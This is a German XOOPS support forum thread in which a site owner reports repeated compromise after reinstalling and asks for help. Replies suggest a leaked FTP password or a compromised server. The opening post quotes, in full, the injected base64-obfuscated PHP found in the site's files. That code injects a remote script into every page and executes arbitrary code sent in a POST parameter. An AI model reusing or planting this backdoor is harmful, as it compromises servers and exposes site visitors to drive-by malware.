MyXoops Forum

Aw:: Neue Seite nach ein paar Stunden gehackt [Sicherheit von XOOPS] - myXOOPS German Support

feichtl

Ehrenmitglied
Gepostet am:20.10.2009 19:04
feichtl
feichtl Offline (Show more)
Ehrenmitglied
Posts: 2650
Since: 11.06.2004
#3

Aw:: Neue Seite nach ein paar Stunden gehackt

... oder der Webserver selbst ist das Problem.

chris47803

"myXOOPs"-Könner
Gepostet am:20.10.2009 18:53
chris47803
chris47803 Offline (Show more)
"myXOOPs"-Könner
Posts: 283
Since: 10.10.2006
#2

Aw:: Neue Seite nach ein paar Stunden gehackt

Hallo!

Vermutlich kennt jemand das Passwort von deinem FTP.

Chris

Advertisement

Gepostet am:0
Advertisement (Show more)
Posts: 0
Since: 0


Hier könnten Sie Ihre Anzeige aufgeben!
Bitte kontaktieren Sie uns, um mehr darüber zu erfahren.

double09

"myXOOPs"-Neuling
Gepostet am:20.10.2009 18:35
double09
double09 Offline (Show more)
"myXOOPs"-Neuling
Posts: 18
Since: 10.09.2009
#1

Neue Seite nach ein paar Stunden gehackt

Hallo.

Nach langem hin und her hab ich jetzt mal mein Xoops komplett neu installiert. Einmal Version 2.3.3 und einmal 2.3.2b.
Und nach ein paar Stunden ging immer gar nichts mehr. Immer das selbe. Vorallem in den Index.html und in ein paar .php Dateien steht im Kopf immer folgendes:

<?php eval(base64_decode('aWYoIWlzc2V0KCRsZnJqcDEpKXtmdW5jdGlvbiBsZnJqcCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJGMWRHOWpZWEl1WldVdmFXMWhaMlZ6TDJkdmIyZHNaVEV5TXprellUSTBORGc0WldKaU56QXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gbGZyanAyKCRhLCRiLCRjLCRkKXtnbG9iYWwgJGxmcmpwMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkbGZyanAxKSljYWxsX3VzZXJfZnVuYygkbGZyanAxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpIGFzICR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2xmcmpwJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2xmcmpwJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGxmcmpwbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignbGZyanAyJykpIT0nbGZyanAyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?php


Warum kann ich mir nicht erklären. Ich hab auf dem Webserver komplett alle Dateien aus dem html Ordner gelöscht es war also nur noch Xoops drauf. Im Protector wurde alles grün also sicher angezeigt. Bei jeder Neuinstallation hab ich eine neue MySQL Datenbank angelegt und Passwörter gändert. Module waren nur Protector und WF-Downloads 3.2 und mal 3.1 installiert.

Hat jemand eine Ahnung wie das sein kann? Bin echt am verzweifeln :(

Diesen Thread durchsuchen:  1 Anonyme Benutzer

Aktuell aus dem Forum

Forum Thema Antworten Views Letzter Beitrag
OffOffTopic [Wichtig] Übernahme myXOOPS 0 494 11.12.2023 18:57
alfred Gehe zum letzten Beitrag
Die Installation und Administration von XOOPS 2.5.X [Offen] Upgrade 2.5.11 3 2207 07.05.2023 07:03
Goffy Gehe zum letzten Beitrag